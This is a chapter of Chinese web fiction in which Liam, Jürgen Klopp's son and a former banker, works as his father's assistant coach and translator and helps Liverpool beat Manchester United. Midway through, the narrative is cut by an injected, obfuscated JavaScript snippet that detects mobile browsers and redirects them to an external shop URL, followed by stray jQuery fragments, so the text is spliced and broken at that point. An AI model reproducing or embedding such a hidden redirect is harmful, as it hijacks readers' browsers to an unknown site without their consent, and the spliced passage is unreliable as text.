利物浦对曼联的双红会已经踢了七十分钟，比分还是0-0。
主教练克洛普在场边像一头困兽，他在教练区来回踱步，像是要把底下的草坪踩扁。
"利亚姆！让努涅斯回撤拿球！"他的咆哮穿过嘈杂的球场钻进利亚姆.克洛普耳朵。
"利亚姆！快点翻译!"
“听到了听到了。"他挥了挥手，冲场内喊了一嗓子。
努涅斯回头看见是主教练儿子在喊于是乖乖照做。
利亚姆精通多国语言，这是他拿到助教身份的一个原因，另外一个原因他是主教练的儿子，薪水由主教练出。
顶着大太阳在嘈杂的足球场边，不顾颜面的怒吼，这个场景在两个月前打死利亚姆也想不到。
从沃顿商学院毕业，在高盛混了6年，差一步就能坐上副总裁的位置，结果他被政治斗争一锅端了。
那天早晨利亚姆在纽约的高层公寓，被一连七个电话吵醒。
当他睁开眼时，就看到自己的期权在盘前交易里变成了一堆废纸。
7月下旬他的老爹尤尔根·克洛普，当时正在准备季前训练。
接电话听完他支支吾吾的现状后沉默了三秒。
"买张机票来利物浦。"
"干什么？"
"给我当助教。"
"我不会足球。"
"你七岁就在拜仁了。"
"那是门将，跟教练有什么关系？"
"门将也是足球，"
克洛普说，"而且你会英语德语意大利语西班牙语或许还要加上中文和日文，我需要翻译。"
就这样，他成了利物浦一线队的助理教练。
17岁的利亚姆跟足球划清了界限
27岁的利亚姆又重新站在场边。
现在他站在安菲尔德，手里拿着主教练的战术板，觉得自己绕了一个大圈又回到了原点。
"利亚姆！"
主教练的声音又来了。
这次他的语气不太一样，是那种发现猎物时的兴奋："你看曼联那个右后卫，他是不是有张黄牌了？"
利亚姆顺着他的目光看过去，曼联的达洛特确实身上背着一张黄牌。
但这不是重点，重点是他注意到达洛特每次防守迪亚斯时都习惯性地伸右腿。
“那让前锋走右线！”
克洛普的眼睛亮了："你确定？"
"不确定，但可以试试。"
克洛普冲场边吼了一嗓子，迪亚斯听到指示后点了点头。
接下来的五分钟里，后卫三次从外线突破达洛特，最后一次终于造成对方犯规。
二黄变一红，现在场上是11vs10。
曼联少一人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711493|208445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
作战，比赛最后十分钟利物浦连进两球，2-0拿下双红会。
终场哨响时，主教练克洛普。一把搂住他的肩膀，力气大的吓人。
"我就知道，儿子你遗传了我的脑子！！！"
"我只是提出建议，老爹最后的决定者是你。"
"但你的建议很有效。"克洛普松开他，擦了擦额头的汗。
利亚姆没说话
他确实有自己的想法，那是一种门将的直觉，盯的不是球，是人。
在拜仁青训那10年，他从U13一路跳到U21，看着对面前锋换了一茬又一茬。
但只要他盯着足球看，那么前锋的所有攻击都会化为泡沫，这是与生俱来的天赋。
"行了行了，赶紧回更衣室。"克洛普推着他往球员通道走，"晚上请你吃饭。"
"你请客？"
"我不请客，难道你请我吃废纸债券吗？"
利亚姆翻了个白眼，他没发现自己和老爹的对话已被导播完整的拍下。
回更衣室的路上，利亚姆的手机震了一下。
某个只存了号码没存名字的联系人发来一条消息。
"听说你现在在利物浦当教练？十年前你可说这辈子不碰足球了。"
他盯着屏幕看了三秒，打字回复："你是谁？"
对方秒回："你猜。"